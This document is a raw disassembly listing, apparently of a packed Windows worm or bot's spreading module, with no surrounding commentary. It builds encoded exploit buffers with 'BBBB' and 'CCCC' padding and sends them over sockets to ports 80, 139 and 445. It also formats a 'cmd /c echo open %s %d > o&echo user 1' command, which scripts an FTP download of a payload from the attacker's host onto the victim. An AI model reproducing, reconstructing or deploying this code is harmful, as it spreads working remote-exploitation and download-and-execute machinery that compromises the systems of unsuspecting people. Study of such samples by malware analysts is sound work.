; ---------------------------------------------------------------------------
loc_40CAB7: ; CODE XREF: sub_40CA1D+8Dj
; sub_40CA1D+92j
push [ebp+arg_0]
call dword_427070 ; CloseHandle
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; Sleep
mov eax, [ebp+var_2C]
cmp eax, [ebp+var_28]
jz short loc_40CADE
inc [ebp+var_2C]
jmp loc_40CA4B
; ---------------------------------------------------------------------------
loc_40CADE: ; CODE XREF: sub_40CA1D+B7j
push [ebp+var_1C]
call dword_4CBA70 ; inet_ntoa
push eax
lea eax, [ebp+var_130]
push offset unk_431FD4
push eax
call sub_41C266
push edi
lea eax, [ebp+var_130]
push [ebp+var_14]
push eax
lea eax, [ebp+var_AC]
push eax
push [ebp+var_B0]
call sub_409869
push [ebp+var_20]
call sub_40B6D6
add esp, 24h
xor eax, eax
pop edi
pop esi
pop ebx
leave
retn 4
sub_40CA1D endp
; =============== S U B R O U T I N E =======================================
sub_40CB2A proc near ; CODE XREF: sub_40CD9E+Ep
; sub_40CD9E+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40CB2A endp
; =============== S U B R O U T I N E =======================================
sub_40CB34 proc near ; CODE XREF: sub_40CD9E+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
mov esi, ecx
push ebx
call sub_41BEB5
mov edi, eax
pop ecx
test edi, edi
jz short loc_40CB66
push ebx
push 0
push edi
call sub_41BF70
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_41CD20
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40CB66: ; CODE XREF: sub_40CB34+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40CB34 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CB6E proc near ; CODE XREF: sub_40CC68+18p
; sub_40CCE2+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi
call sub_41BEB5
mov esi, eax
pop ecx
test esi, esi
jz short loc_40CBBA
push edi
push 0
push esi
call sub_41BF70
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_41CD20
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41CD20
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_40CBBA: ; CODE XREF: sub_40CB6E+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_40CB6E endp
; =============== S U B R O U T I N E =======================================
sub_40CBC3 proc near ; CODE XREF: sub_40CC68+5Ep
; sub_40CC68+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_40CBD3
push eax
call sub_41BA91
pop ecx
loc_40CBD3: ; CODE XREF: sub_40CBC3+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_40CBC3 endp
; =============== S U B R O U T I N E =======================================
sub_40CBDC proc near ; CODE XREF: sub_40CC68+20p
; sub_40CD43+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_40CC09
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax
call sub_41BEB5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40CC0D
loc_40CC09: ; CODE XREF: sub_40CBDC+Dj
xor al, al
jmp short loc_40CC64
; ---------------------------------------------------------------------------
loc_40CC0D: ; CODE XREF: sub_40CBDC+2Bj
mov eax, ebx
add eax, [esi+4]
push eax
push 0
push edi
call sub_41BF70
add esp, 0Ch
cmp ebx, 1
jnz short loc_40CC32
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_40CC4C
; ---------------------------------------------------------------------------
loc_40CC32: ; CODE XREF: sub_40CBDC+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4]
lea eax, [edi+3]
push dword ptr [esi]
loc_40CC4C: ; CODE XREF: sub_40CBDC+54j
push eax
call sub_41CD20
add esp, 0Ch
push dword ptr [esi]
call sub_41BA91
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40CC64: ; CODE XREF: sub_40CBDC+2Fj
pop edi
pop esi
pop ebx
retn
sub_40CBDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CC68 proc near ; CODE XREF: sub_40CD9E+89p
; sub_40CD9E+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset word_4CB89C
call sub_40CB6E
lea ecx, [ebp+var_8]
call sub_40CBDC
mov eax, [ebp+var_4]
inc eax
push eax
call sub_41BEB5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40CCA2
xor al, al
jmp short loc_40CCDE
; ---------------------------------------------------------------------------
loc_40CCA2: ; CODE XREF: sub_40CC68+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_41BF70
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_41CD20
add esp, 18h
mov ecx, esi
call sub_40CBC3
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_40CBC3
mov al, 1
loc_40CCDE: ; CODE XREF: sub_40CC68+38j
pop edi
pop esi
leave
retn
sub_40CC68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CCE2 proc near ; CODE XREF: sub_40CD16+14p
; sub_40CD33+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_40CB6E
mov ecx, esi
call sub_40CBC3
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40CCE2 endp
; =============== S U B R O U T I N E =======================================
sub_40CD16 proc near ; CODE XREF: sub_40CD9E+F0p
; sub_40CD9E+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41B9C0
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40CCE2
pop esi
retn 4
sub_40CD16 endp
; =============== S U B R O U T I N E =======================================
sub_40CD33 proc near ; CODE XREF: sub_40CD7F+Bp
; sub_40CD9E+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40CCE2
retn 8
sub_40CD33 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CD43 proc near ; CODE XREF: sub_40CD7F+16p
; sub_40CD9E+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_40CBDC
test al, al
jz short loc_40CD7C
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push offset dword_42CC88
call sub_40CB6E
mov ecx, esi
call sub_40CBC3
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40CD7C: ; CODE XREF: sub_40CD43+Fj
pop esi
leave
retn
sub_40CD43 endp
; =============== S U B R O U T I N E =======================================
sub_40CD7F proc near ; CODE XREF: sub_40CD9E+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40CD33
test al, al
jz short loc_40CD9A
mov ecx, esi
call sub_40CD43
loc_40CD9A: ; CODE XREF: sub_40CD7F+12j
pop esi
retn 8
sub_40CD7F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CD9E proc near ; CODE XREF: .packed:0040D625p
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40CB2A
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_40D0F2
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_40D0F2
push esi
lea ecx, [ebp+var_30]
call sub_40CB2A
lea ecx, [ebp+var_20]
call sub_40CB2A
lea ecx, [ebp+var_50]
call sub_40CB2A
lea ecx, [ebp+var_18]
call sub_40CB2A
lea ecx, [ebp+var_40]
call sub_40CB2A
lea ecx, [ebp+var_38]
call sub_40CB2A
lea ecx, [ebp+var_28]
call sub_40CB2A
push 4
push offset dword_432038
lea ecx, [ebp+var_30]
call sub_40CCE2
push 3
push offset dword_432040
lea ecx, [ebp+var_30]
call sub_40CCE2
lea ecx, [ebp+var_30]
call sub_40CC68
lea ecx, [ebp+var_30]
call sub_40CD43
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_41BF70
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_40CCE2
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40CCE2
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_40CCE2
lea ecx, [ebp+var_20]
call sub_40CC68
push offset loc_4323BC
lea ecx, [ebp+var_50]
call sub_40CD16
lea ecx, [ebp+var_50]
call sub_40CC68
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_40CB34
lea ecx, [ebp+var_58]
call sub_40CC68
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_40CD7F
lea ecx, [ebp+var_58]
call sub_40CBC3
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_41BF70
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_40CD16
push 4
push offset dword_432044
lea ecx, [ebp+var_18]
call sub_40CCE2
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40CCE2
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40CCE2
lea ecx, [ebp+var_18]
call sub_40CC68
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40CD33
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40CD33
lea ecx, [ebp+var_40]
call sub_40CD43
lea ecx, [ebp+var_18]
call sub_40CBC3
lea ecx, [ebp+var_50]
call sub_40CBC3
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40CD33
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40CD33
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40CD33
lea ecx, [ebp+var_38]
call sub_40CD43
lea ecx, [ebp+var_20]
call sub_40CBC3
lea ecx, [ebp+var_30]
call sub_40CBC3
lea ecx, [ebp+var_40]
call sub_40CBC3
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40CCE2
lea ecx, [ebp+var_28]
call sub_40CC68
push 2
push offset dword_4323B0
lea ecx, [ebp+var_28]
call sub_40CCE2
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40CD33
lea ecx, [ebp+var_28]
call sub_40CD43
lea ecx, [ebp+var_38]
call sub_40CBC3
lea ecx, [ebp+var_10]
call sub_40CB2A
lea ecx, [ebp+var_8]
call sub_40CB2A
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40CD33
lea ecx, [ebp+var_10]
call sub_40CBDC
lea ecx, [ebp+var_28]
call sub_40CBC3
push offset dword_4323AC
lea ecx, [ebp+var_8]
call sub_40CD16
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CD33
lea ecx, [ebp+var_8]
call sub_40CBDC
lea ecx, [ebp+var_10]
call sub_40CBC3
push offset dword_4323A8
lea ecx, [ebp+var_10]
call sub_40CD16
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40CD33
lea ecx, [ebp+var_10]
call sub_40CBDC
lea ecx, [ebp+var_8]
call sub_40CBC3
push offset dword_43239C
lea ecx, [ebp+var_8]
call sub_40CD16
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CD33
lea ecx, [ebp+var_8]
call sub_40CBDC
lea ecx, [ebp+var_10]
call sub_40CBC3
push (offset loc_432397+1)
lea ecx, [ebp+var_48]
call sub_40CD16
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40CD33
lea ecx, [ebp+var_8]
call sub_40CBC3
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_40D100
; ---------------------------------------------------------------------------
loc_40D0F2: ; CODE XREF: sub_40CD9E+1Bj
; sub_40CD9E+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_40D100: ; CODE XREF: sub_40CD9E+352j
pop edi
pop ebx
leave
retn
sub_40CD9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D104 proc near ; CODE XREF: sub_40D1C8+A1p
; sub_40D1C8+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call dword_42720C ; select
cmp eax, edi
jnz short loc_40D16B
lea eax, [ebp+var_10C]
push eax
push esi
call sub_426350 ; __WSAFDIsSet
test eax, eax
jnz short loc_40D16F
loc_40D16B: ; CODE XREF: sub_40D104+54j
xor eax, eax
jmp short loc_40D17F
; ---------------------------------------------------------------------------
loc_40D16F: ; CODE XREF: sub_40D104+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4CB9FC ; recv
loc_40D17F: ; CODE XREF: sub_40D104+69j
pop edi
pop esi
leave
retn
sub_40D104 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D183 proc near ; CODE XREF: sub_40D1C8+81p
; sub_40D1C8+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_4CB9E0 ; htonl
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_4CBA34 ; send
cmp eax, 4
jz short loc_40D1AD
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40D1AD: ; CODE XREF: sub_40D183+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4CBA34 ; send
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_40D183 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D1C8 proc near ; CODE XREF: sub_40D2A2+48p
; .packed:0040D716p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_41BEB5
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40D1F1
xor al, al
jmp loc_40D29D
; ---------------------------------------------------------------------------
loc_40D1F1: ; CODE XREF: sub_40D1C8+20j
push ebx
push 0
push esi
call sub_41BF70
push 2Fh
push offset dword_4320D4
push esi
call sub_41CD20
push 8
lea eax, [esi+31h]
push offset dword_432104
push eax
mov [esi+2Fh], di
call sub_41CD20
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_41CD20
push 6
add ebx, edi
push offset dword_4CE6FC
push ebx
call sub_41CD20
mov ebx, [ebp+arg_0]
push 85h
push offset dword_43204C
push ebx
call sub_40D183
add esp, 48h
test al, al
jnz short loc_40D259
loc_40D255: ; CODE XREF: sub_40D1C8+B5j
xor bl, bl
jmp short loc_40D294
; ---------------------------------------------------------------------------
loc_40D259: ; CODE XREF: sub_40D1C8+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40D104
push [ebp+var_4]
push esi
push ebx
call sub_40D183
add esp, 1Ch
test al, al
jz short loc_40D255
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40D104
add esp, 10h
mov bl, 1
loc_40D294: ; CODE XREF: sub_40D1C8+8Fj
push esi
call sub_41BA91
pop ecx
mov al, bl
loc_40D29D: ; CODE XREF: sub_40D1C8+24j
pop edi
pop esi
pop ebx
leave
retn
sub_40D1C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D2A2 proc near ; CODE XREF: .packed:0040D6FCp
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_432110
push [ebp+arg_0]
call dword_427208 ; send
cmp eax, 48h
jnz short loc_40D2DD
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40D104
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_40D2DD
cmp [ebp+var_20], 82h
jz short loc_40D2E1
loc_40D2DD: ; CODE XREF: sub_40D2A2+1Bj
; sub_40D2A2+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40D2E1: ; CODE XREF: sub_40D2A2+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D1C8
add esp, 0Ch
leave
retn
sub_40D2A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D2F4 proc near ; CODE XREF: sub_40D340+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul dbl_427670
call sub_41D174
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul dbl_427668
fstp [esp+10h+var_10]
call sub_41D055
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_41D174
inc eax
leave
retn
sub_40D2F4 endp
; =============== S U B R O U T I N E =======================================
sub_40D340 proc near ; CODE XREF: sub_40D4E2+24p
var_40 = qword ptr -40h
mov eax, offset loc_426AA7
call sub_41D640
sub esp, 2Ch
mov al, [ebp+13h]
push ebx
push esi
push edi
xor edi, edi
lea ecx, [ebp-38h]
push edi
mov [ebp-20h], edi
mov [ebp-38h], al
call sub_40D977
push 1
pop ebx
push dword ptr [ebp+10h]
mov [ebp-4], ebx
call sub_40D2F4
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_40D382
push edi
push eax
lea ecx, [ebp-38h]
call sub_40D8F2
loc_40D382: ; CODE XREF: sub_40D340+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_40D49F
mov ebx, [ebp+10h]
loc_40D391: ; CODE XREF: sub_40D340+156j
cmp dword ptr [ebp+10h], 3
jb short loc_40D39B
push 3
jmp short loc_40D3AD
; ---------------------------------------------------------------------------
loc_40D39B: ; CODE XREF: sub_40D340+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_40D3A5
push 2
jmp short loc_40D3AD
; ---------------------------------------------------------------------------
loc_40D3A5: ; CODE XREF: sub_40D340+5Fj
cmp dword ptr [ebp+10h], 1
jnz short loc_40D3AE
push 1
loc_40D3AD: ; CODE XREF: sub_40D340+59j
; sub_40D340+63j
pop ebx
loc_40D3AE: ; CODE XREF: sub_40D340+69j
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul dbl_427680
fstp [esp+40h+var_40]
call sub_41D19B
pop ecx
pop ecx
call sub_41D174
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_40D3ED
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_40D3ED: ; CODE XREF: sub_40D340+93j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_40D45B
add [ebp-18h], eax
loc_40D43F: ; CODE XREF: sub_40D340+119j
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, byte_43215C[eax]
push eax
push 1
call sub_40D774
inc esi
cmp esi, [ebp-1Ch]
jb short loc_40D43F
loc_40D45B: ; CODE XREF: sub_40D340+FAj
cmp dword ptr [ebp-18h], 48h
jb short loc_40D479
push dword ptr [ebp+14h]
call sub_41B9C0
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_40D7CD
mov [ebp-18h], edi
loc_40D479: ; CODE XREF: sub_40D340+11Fj
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_40D493
sub esi, [ebp-1Ch]
loc_40D484: ; CODE XREF: sub_40D340+151j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_40D774
dec esi
jnz short loc_40D484
loc_40D493: ; CODE XREF: sub_40D340+13Fj
cmp [ebp+10h], edi
ja loc_40D391
push 1
pop ebx
loc_40D49F: ; CODE XREF: sub_40D340+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_40D977
push dword_427678
lea eax, [ebp-38h]
mov ecx, esi
push edi
push eax
call sub_40D824
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_40D977
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D340 endp
; =============== S U B R O U T I N E =======================================
sub_40D4E2 proc near ; CODE XREF: .packed:0040D6DFp
mov eax, offset loc_426AC4
call sub_41D640
sub esp, 10h
push ebx
push esi
push edi
push offset byte_43DB98
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_40D340
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_41BEB5
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_40D52C
xor bl, bl
jmp short loc_40D570
; ---------------------------------------------------------------------------
loc_40D52C: ; CODE XREF: sub_40D4E2+44j
mov ecx, [ebp-18h]
mov eax, offset dword_427688
cmp ecx, ebx
jnz short loc_40D53A
mov ecx, eax
loc_40D53A: ; CODE XREF: sub_40D4E2+54j
cmp [ebp+18h], ebx
jz short loc_40D542
mov eax, [ebp+18h]
loc_40D542: ; CODE XREF: sub_40D4E2+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_41C360
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call dword_4CBA34 ; send
cmp eax, esi
jz short loc_40D567
xor bl, bl
jmp short loc_40D569
; ---------------------------------------------------------------------------
loc_40D567: ; CODE XREF: sub_40D4E2+7Fj
mov bl, 1
loc_40D569: ; CODE XREF: sub_40D4E2+83j
push edi
call sub_41BA91
pop ecx
loc_40D570: ; CODE XREF: sub_40D4E2+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_40D977
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_40D977
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D4E2 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 420h
and byte ptr [ebp-420h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-41Fh]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-420h]
push offset sub_432308
push eax
call sub_41CD20
add esp, 0Ch
mov eax, offset byte_429110
push eax
push eax
movzx eax, word ptr dword_4CB720
push eax
push dword ptr [ebp+8]
call sub_40AA06
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
lea eax, [ebp-391h]
push 400h
push eax
call sub_41C360
add eax, 90h
push eax
lea eax, [ebp-420h]
push eax
push 164h
lea eax, [ebp-8]
push offset sub_4321A0
push eax
call sub_40CD9E
xor esi, esi
add esp, 30h
cmp [ebp-4], esi
jnz short loc_40D63B
xor eax, eax
jmp loc_40D767
; ---------------------------------------------------------------------------
loc_40D63B: ; CODE XREF: .packed:0040D632j
mov [ebp-0Ch], esi
loc_40D63E: ; CODE XREF: .packed:0040D73Ej
test esi, esi
jnz loc_40D744
push 6
push 1
push 2
call dword_427204 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40D72C
xor eax, eax
lea edi, [ebp-1Ah]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call dword_4CB9E4 ; htons
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call dword_4CBA24 ; inet_addr
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push ebx
call dword_4CB98C ; connect
cmp eax, 0FFFFFFFFh
jz loc_40D721
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_40D6E9
mov al, [ebp+0C3h]
sub esp, 10h
mov esi, esp
mov [ebp-20h], esp
push 0
mov ecx, esi
mov [esi], al
call sub_40D977
lea eax, [ebp+0Ch]
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call sub_40D9B3
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D4E2
add esp, 1Ch
jmp short loc_40D71E
; ---------------------------------------------------------------------------
loc_40D6E9: ; CODE XREF: .packed:0040D6A7j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_40D703
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D2A2
jmp short loc_40D71B
; ---------------------------------------------------------------------------
loc_40D703: ; CODE XREF: .packed:0040D6F3j
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_40D721
